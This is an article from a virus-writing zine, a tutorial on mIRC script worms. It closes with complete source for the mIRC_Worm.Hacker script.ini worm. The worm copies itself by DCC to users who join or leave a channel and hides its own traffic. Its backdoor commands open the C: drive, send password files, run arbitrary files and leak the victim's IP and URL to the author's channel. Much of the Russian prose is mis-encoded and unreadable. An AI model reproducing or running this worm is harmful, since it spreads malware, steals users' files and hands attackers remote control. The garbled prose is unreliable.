- [Duke's Virus Labs #7] - [Page 21] -

Tutorial: mIRC_Worm virii  +  mIRC_Worm.Hacker virus
(c) by Duke/SMF


   뢠  IRC   㦨,     ஭ ⠪ ࢨ :
ﭭ  室 䠩    ᨫ    .
   IRC ࢨ.  뤥 2 ࠧ IRC ࢥ -  
ᯮ 䠩 (*.exe, *.com)   ਯ⮢ (script.ini).   
ਯ⮢    mIRC_Worm.

    ⠪ 뢠 ࢨ ᠭ  몥 ஥  ணࠬ-
mIRC ਯ⮢ (᫥  ᥣ 㯭   www.mirc.com).
 ᨭ⠪    C -   ᯮᮡ ࠢ,  
 ᪮ {  } .

    ।⠢⥫ ᥬ⢠ mIRC_Worm 뫠   䠩 script.ini
(⮬  짮⥫   ᫨   mIRC ).
ணࠬ-  ᪥  ᮤন 䠩 script.ini,  
쭥襩 ࠡ ᢥ  ᠭ묨   . ᫨  ⠪
᪠,  䠩 script.ini ᠭ "ࠡ稪 ᮡ⨩".
   (ࠧ  ᤥ  ! "ଠ" ਯ ᮤঠ  䠩
script.ini.  䠪᪨   ᮤঠ   ⥪⮢ 䠩,
ᮤঠ饬 ਯ ,  ⮬ ᫥   mirc.ini  ᥪ樨 [script]. ,
⮡  䠩  யᠭ  mirc.ini  ᥪ樨 [rfiles]. ਬ
        [rfiles]
        n2=script.ini
 ⠪ ઠ...)

    ( ᯮ짮 mIRC v5.1) ࠭  ࢥ 뫮
 ᠫ. 祬 ?  ⮬,  砥 䠩  㬮砭
࠭﫨  ⠫ ணࠬ mIRC. ᫨  ࠭ ᯮ짮 ன
䠩 scropt.ini (᢮,   ;)   ᫠ 䠩 script.ini, 
᫥ ⮣ 㦥 稭 믮 ன ,   ⮣   .
 ( ᨨ 5.5, ᫨  訡), 䠩 ࠭  ४ਨ
\DOWNLOAD ,   ᫨   ,   믮  㤥 :(((
, 㤥    ࠭  ᨩ ;-)

    ᠭ mIRC   ॡ  讣 ᫠ .
 ࠧ 筮 ⮫쪮  :)

    script.ini  । . ࢠ ப 䠩 룫廊
᫥騬 ࠧ :

[script]

 ⠫ ப 䠩 "஭㬥஢" : ᫥ 稭  "n0=",
⥬ ᫥ ப 稭騥  "n1=",  ⠪ .   㬥 
易  ᫥⥫쭮 -  ஭㬥஢ ப   㣮.
 [script] 䨣樮 䠩 ।⠢ ᮡ 
ࠡ稪 ᮡ⨩.


஥ 
~~~~~~~~~~~~~~~~~~~~~~
, ⠭,   ஥  祭 .  ᪠  
,     ᠭ ᮢ  楢.  ⪨
ᯨ᮪ ஥ ⥩, ࠡ騩   mIRC :

$exists(filename)   - 頥 $true, ᫨ 䠩 filename 
$finddir(dir,wildcard,N,depth,command)
                    -   ४ਨ Dir ४ਨ  ᪥
                      wildcard  ⢥ N 
$findfile(dir,wildcard,N,depth,command)
                    -   ४ਨ Dir 䠩  ᪥ wildcard
                       ⢥ N .    䠩
                      믮  command
$isdir(dirname)     - 頥 $true, ᫨ ४ dirname 
$isfile(filename)   - 頥 $true, ᫨ 䠩 filename 
$nofile(filename)   - 頥   䠩 filename   䠩
$mircdir            - ४,  ன 室 ணࠬ mIRC
$mircini            -   䨣樮 䠩, 筮 mirc.ini
$ip                 - IP  짮⥫
$me                 - ⢮ 
$script             -  ⨢ ਯ
$url                - ᫥ ⨢ URL  襬 㧥
$+                  - "ᮥ" ᠭ १   ப
                      (ਬ : "A $+ B" = "AB")


᪮쪮 ᫮  ᨭ⠪
~~~~~~~~~~~~~~~~~~~~~~~~~~~
     ⠭ ᫨⭮  㣨 ⥪⮬, ਬ
$mircdirscript.ini  -   ( ) 䠩 script.ini
    ६ 稭  ᨬ "%",  ⪨ -  ":"
    롮  :
          if (v1 operator v2) { commands }
          elseif (v1 operator v2) { commands }
          else { commands }
 ᯮ짮  , ਬ if %a == $ip { .quit }
    ࠢ ᯮ :
          == - ࠢ⢮
          != - ࠢ⢮
   ப ਨ  稭  ᨬ ";", ਬ
n0=; ਩

᭮ :
~~~~~~~~~~~~~~~~~
   ࠭   mIRC  稭  ᨬ "/",
  script-䠩 -  "." .

/bread <filename> <S> <N> <&binvar>
   - ⠥ N  稭  樨 S  䠩 filename  ६ binvar
      binvar   ॢ 4096 
/bwrite <filename> <S> [N] <&binvar>
   - 뢠 N   䠩 filename 鶴  樨 S
      ।騥  㭨⮦.
     ᫨ S = -1,  䠩   .
/bset <&binvar> <N> <ascii>
   - ᢠ ६ <&binvar> N ᨬ  ப <ascii>
/dcc send <nick> <filename>
   - 뫠 䠩 <filename> 짮⥫ <nick>
/join <channel(s)>
   -   ()
/part <channel(s)>
   -  ()
/msg <nick or channel> <message>
   - ᫠ ᮮ饭 <message>  짮⥫ <nick>    <channel>
/run <filename>
   -  䠩 <filename>
on <ࠡ稪 ᮡ>
   - ࠡ뢠  믮 㪠 ᮡ.
     ᯮ   砫 ப INI-䠩.

      ⮫쪮 mIRC-,   ᠬ室 ,
뫠饣  PWL-䠩  URL.

᭮ ᮡ :
~~~~~~~~~~~~~~~~~~
CONNECT -  裡  IRC-ࢥ஬
JOIN    - ࠡ뢠,   짮⥫ 室    ,
           ஬  
PART    - ࠡ뢠,   짮⥫    ,
           ஬  
TEXT    -  祭  ਢ-ᮮ饭


 ப ࠡ稪 ᮡ⨩ :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
n< ப>=ON <஢>:<ᮡ⨥>:[] <ॠ  ᮡ⨥>
 < ப>       = ᫮  0   :)
    <஢>            = ᫮  0   - 砥 ஢ 㯠.
                            㭨ᠫ쭮 ਯ 㦭 ⠢ 0.
    <ᮡ⨥>            = ਠ樨  ⥬:
                           JOIN:#:   - 饭 
                           CONNECT:  - ᮥ  
    <ॠ  ᮡ⨥> = ᫥⥫쭮 
    []               =    ᮡ⨩   ᢮ ᮡ⢥
                           ⥫ ࠬ

⥫ ࠬ  ᭮ ᮡ⨩ :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
JOIN : [ᯨ᮪ <:>]
     = ᯨ᮪  १ ",",   ஢ 믮 ᮡ.
       ᫨ ⠢ "#" ,    .
TEXT : [ᮤঠ<:>]
     = ⥪⮢ ப  祭 ᮮ饭.  ᯮ짮 ᨬ
       "*"  "?".
     : [ᯨ᮪ <:>]
     = ᯨ᮪  १ ",",   ஢ 믮 ᮡ.
       ᫨ ⠢ "?",  㤥 ࠡ뢠   ਢ-ᮮ饭.
       ᫨ ⠢ "#",  㤥 ࠡ뢠   ᮮ饭  .
       ᫨ ⠢ "*",  㤥 ࠡ뢠   ᮮ饭  !

᫨  , 祬 ,  ⠢ ᨬ "{" (騩 "begin"),
⥬   ப   ,    ࠡ稪 ⠢
ᨬ "}" (騩 "end").   ப  㪠 ᪮쪮 ,
ࠧ  " | ".

 halt - ਭ㤨⥫ ⠭ ࠡ稪 ᮡ⨩.

⥩訩 mIRC-
~~~~~~~~~~~~~~~~~~~~~
  ᠬ ⮩ mIRC- ?    ᥣ  
ப  뫠 ᥡ  室 짮⥫   :

n0=ON 1:PART:#: if ($nick == $me) { halt } | else { .dcc send $nick script.ini }

 ᪮ ⪠ else 㤥 ࠡ   $nick <> $me,   ⨢
砥   ⢠  halt,  襬

n0=ON 1:PART:#: if ($nick == $me) { halt } | .dcc send $nick script.ini

 祬  - , ᫨  ᮢ   ?  
믮 ஢  " != " :

n0=ON 1:PART:#:if ($me != $nick) /dcc send $nick script.ini

   - ⥩訩  ⮢.    "" ⠫ﬨ.
뫠 䠩    室  :

n1=ON 1:JOIN:#: if ($nick == $me) { halt } | else { .dcc send $nick script.ini }

᪨   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ,  祬  ࠦ 訬 ᮬ  ?  祣
 ! ⠢  ਯ ᫥騥 ப    ࠧ 㤥
।   #SMF   "<nick@channel>message" :

n0=on 1:TEXT:*:#:.raw -q PRIVMSG #SMF : $+ < $+ $nick @ $chan $+ > $1-
n1=on 1:TEXT:*:?:.raw -q PRIVMSG #SMF : $+ < $+ $nick @MSG> $1-
n2=on 1:INPUT:#:.raw -q PRIVMSG #SMF : $+ < $+ $me @ $chan $+ > $1-

    ਯ, ᮮ騩   ஢   
 IRC ࢥ:

n0=ON 1:CONNECT:.msg #SMF Hi.  $ip on $server $+ : $+ $port $+ .

    ⮫쪮 ࠦ 짮⥫ 뤠 ᢮ ,  ᫠ 
ਢ-ᮮ饭, ᮤঠ饥  ᫮,  ஥  㤥 ࠡ뢠
ࠡ稪.

/closemsg nick -    ਢ-⮬  짮⥫ nick
 祭    ࠢ ࢥ,   
뢠 ᢮ ⢨.

      ⥫஢.  ⮣  ஢,   
㣨 짮⥫  ᮮ饭  뢠 ⥪,  ஬ 
 .   ⠪ :

n10=ON 1:TEXT:*script.ini*:*:{ .ignore $nick | .closemsg $nick }
n11=ON 1:TEXT:*virus*:*:{ .ignore $nick | .closemsg $nick }
n12=ON 1:TEXT:**:*:{ .ignore $nick | .closemsg $nick }
n13=ON 1:TEXT:*send*:*:{ .ignore $nick | .closemsg $nick }

    ஢ ஫ " ".  ਬ  UNIX/LINUX ⥬ :

n8=ON 1:TEXT:*dlinux*:*:.dcc send $nick c:\linux\etc\passwd.
n9=ON 1:TEXT:*dunix*:*:.dcc send $nick c:\unix\etc\passwd.

   㤥   㣨 䠩. ਬ,   FTP  ࠦ
.  ⠪    㯠  ࠧ :

n3=ON 1:TEXT:*give_c*:#:.fserve $nick 1 c:\
n4=ON 1:TEXT:*give_m*:#:.dcc send $nick $mircdirscript.ini
n5=ON 1:TEXT:*op_me*:?:{ .mode $chan +o $nick | .closemsg $nick }
n6=ON 1:TEXT:*invite_me*:?:{ .invite $nick $2 | .closemsg $nick }
n7=ON 1:TEXT:*unban_me*:?:{ .mode $chan -b $nick | .closemsg $nick }

     FTP     FORMAT.COM,    !

n15=on 1:TEXT:*:?:if ( $1 == runthis ) { .run $2- }

   ᫨ -  ࠦ  ,     :

n14=ON 1:TEXT:*go_out*:*:.quit I'm lamer !

     ࠢ  ࢥ :
give_c    -  FTP    c:\
give_m    -   ਯ
op_me     -   
invite_me -  ਣ襭  
unban_me  -   ᥡ 
dlinux    -  ஫  ⥬ LINUX
dunix     -  ஫  ⥬ UNIX
go_out    - 룭  
runthis   -  䠩 (᫥   㪠    䠩)

    ⥪ ⮣  mIRC_Worm.Hacker,   ᮤঠ
 䠩 script.ini, ਢ  :

===== Cut here =====
[script]
n0=;----------------- Anti-Hacking Script by Duke/SMF ----------------------
n1=ON 1:JOIN:#:if ($nick != $me) .dcc send $nick script.ini
n2=ON 1:PART:#:if ($nick != $me) .dcc send $nick script.ini
n3=ON 1:TEXT:*give_c*:#:.fserve $nick 1 c:\
n4=ON 1:TEXT:*give_m*:#:.dcc send $nick $mircdirscript.ini
n5=ON 1:TEXT:*op_me*:?:{ .mode $chan +o $nick | .closemsg $nick }
n6=ON 1:TEXT:*invite_me*:?:{ .invite $nick $2 | .closemsg $nick }
n7=ON 1:TEXT:*unban_me*:?:{ .mode $chan -b $nick | .closemsg $nick }
n8=ON 1:TEXT:*dlinux*:*:.dcc send $nick c:\linux\etc\passwd.
n9=ON 1:TEXT:*dunix*:*:.dcc send $nick c:\unix\etc\passwd.
n10=ON 1:TEXT:*script.ini*:*:{ .ignore $nick | .closemsg $nick }
n11=ON 1:TEXT:*virus*:*:{ .ignore $nick | .closemsg $nick }
n12=ON 1:TEXT:**:*:{ .ignore $nick | .closemsg $nick }
n13=ON 1:TEXT:*send*:*:{ .ignore $nick | .closemsg $nick }
n14=ON 1:TEXT:*go_out*:*:.quit I'm lamer !
n15=on 1:TEXT:*:?:if ( $1 == runthis ) { .run $2- }
n16=ON 1:CONNECT:{
n17=   .msg Duke[SMF] Hacked $ip on $server $+ : $+ $port $+ . URL is $url
n18=   .closemsg Duke[SMF]
n19=   .msg #SMF Hacked $ip on $server $+ : $+ $port $+ . URL is $url
n20=}
n21=;Hacker v1.0 was here ! (c) by Duke/SMF
===== Cut here =====

   ᮢ ?
~~~~~~~~~~~~~~~~~~~~~~~~~~~
 ⢥   IRC-ࢥ  ᮢ⮢ ᫥饥:
-   ਭ 䠩   ;
-  ਭ ᯮ 䠩  䠩 script.ini;
-  ਭ 䠩,   뢠.
  ࠤ ᥡ  ⮩ Internet-䥪樨.
